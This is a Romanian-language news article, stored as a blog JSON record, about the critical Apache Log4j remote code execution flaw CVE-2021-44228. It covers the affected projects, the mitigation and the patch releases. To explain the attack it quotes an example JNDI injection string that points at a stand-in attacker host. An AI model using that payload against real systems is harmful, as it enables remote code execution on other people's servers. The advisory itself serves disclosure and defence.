{"id":102562,"date":"2021-12-10T09:36:48","date_gmt":"2021-12-10T07:36:48","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty"},"modified":"2021-12-10T09:36:48","modified_gmt":"2021-12-10T07:36:48","slug":"katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","status":"publish","type":"post","link":"https:\/\/prohoster.info\/ro\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","title":{"rendered":"O vulnerabilitate catastrofal\u0103 \u00een Apache Log4j, care afecteaz\u0103 multe proiecte Java","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

\u00cen Apache Log4j, un cadru popular pentru gestionarea jurnalelor \u00een aplica\u021biile Java, a fost identificat\u0103 o vulnerabilitate critic\u0103 care permite executarea de cod arbitrar atunci c\u00e2nd se scrie \u00een jurnal o valoare formatat\u0103 special \u00een formatul \u00ab{jndi:URL}\u00bb. Atacul poate fi realizat asupra aplica\u021biilor Java care scriu \u00een jurnal valori ob\u021binute din surse externe, de exemplu, la afi\u0219area valorilor problematice \u00een mesajele de eroare. <\/p>\n

Se observ\u0103 c\u0103 problema afecteaz\u0103 aproape toate proiectele care folosesc cadre precum Apache Struts, Apache Solr, Apache Druid sau Apache Flink, inclusiv Steam, Apple iCloud, clien\u021bi \u0219i servere ale jocului Minecraft. Se a\u0219teapt\u0103 ca vulnerabilitatea s\u0103 conduc\u0103 la o serie de atacuri \u00een mas\u0103 asupra aplica\u021biilor corporative, repet\u00e2nd istoria vulnerabilit\u0103\u021bilor critice din cadrul Apache Struts, care este estimat a fi utilizat \u00een aplica\u021biile web de 65% dintre companiile din lista Fortune 100. De asemenea, au fost deja \u00eenregistrate tentative de scanare a re\u021belei \u00een c\u0103utarea sistemelor vulnerabile. <\/p>\n

Problema este agravat\u0103 de faptul c\u0103 a fost deja publicat un exploit func\u021bional, dar fix\u0103rile pentru ramurile stabile nu sunt deocamdat\u0103 formulate. Identificatorul CVE nu a fost \u00eenc\u0103 atribuit. Corectarea a fost inclus\u0103 doar \u00een ramura de testare log4j-2.15.0-rc1. Ca solu\u021bie alternativ\u0103 pentru blocarea vulnerabilit\u0103\u021bii, se recomand\u0103 setarea parametrului log4j2.formatMsgNoLookups pe true. <\/p>\n

Problema a fost cauzat\u0103 de faptul c\u0103 log4j suport\u0103 procesarea de \u0219abloane speciale \u00ab{}\u00bb \u00een liniile scrise \u00een jurnal, \u00een care ar putea fi efectuate solicit\u0103ri JNDI (Java Naming and Directory Interface). Atacul const\u0103 \u00een transmiterea unei linii cu substitu\u021bia \u00ab${jndi:ldap:\/\/attacker.com\/a}\u00bb, procesarea c\u0103reia log4j va trimite la serverul<\/a> attacker.com o solicitare LDAP pentru calea c\u0103tre clasa Java. Calea returnat\u0103 serverul<\/a> a atacatorului (de exemplu, http:\/\/second-stage.attacker.com\/Exploit.class) va fi desc\u0103rcat\u0103 \u0219i executat\u0103 \u00een contextul procesului curent, permi\u021b\u00e2nd atacatorului s\u0103 ob\u021bin\u0103 executarea de cod arbitrar \u00een sistem cu drepturile aplica\u021biei curente. <\/p>\n

Complement 1: Vulnerabilit\u0103\u021bii i-a fost atribuit identificatorul CVE-2021-44228. <\/p>\n

Complement 2: A fost identificat\u0103 o modalitate de ocolire a protec\u021biei ad\u0103ugate \u00een versiunea log4j-2.15.0-rc1. A fost propus\u0103 o nou\u0103 actualizare log4j-2.15.0-rc2 cu o protec\u021bie mai complet\u0103 \u00eempotriva vulnerabilit\u0103\u021bii. \u00cen cod se eviden\u021biaz\u0103 modificarea legat\u0103 de lipsa unei opriri indisponibile \u00een cazul utiliz\u0103rii unui URL JNDI format incorect.
\n
Sursa: opennet.ro<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

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\u00een aplica\u021biile Java, a fost descoperit\u0103 o vulnerabilitate critic\u0103 care permite executarea de cod arbitrar prin \u00eenregistrarea unei valori formatate special \u00een log.","canonical_url":"https:\/\/prohoster.info\/ro\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"ro_RO","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u0430\u0442\u0430\u0441\u0442\u0440\u043e\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 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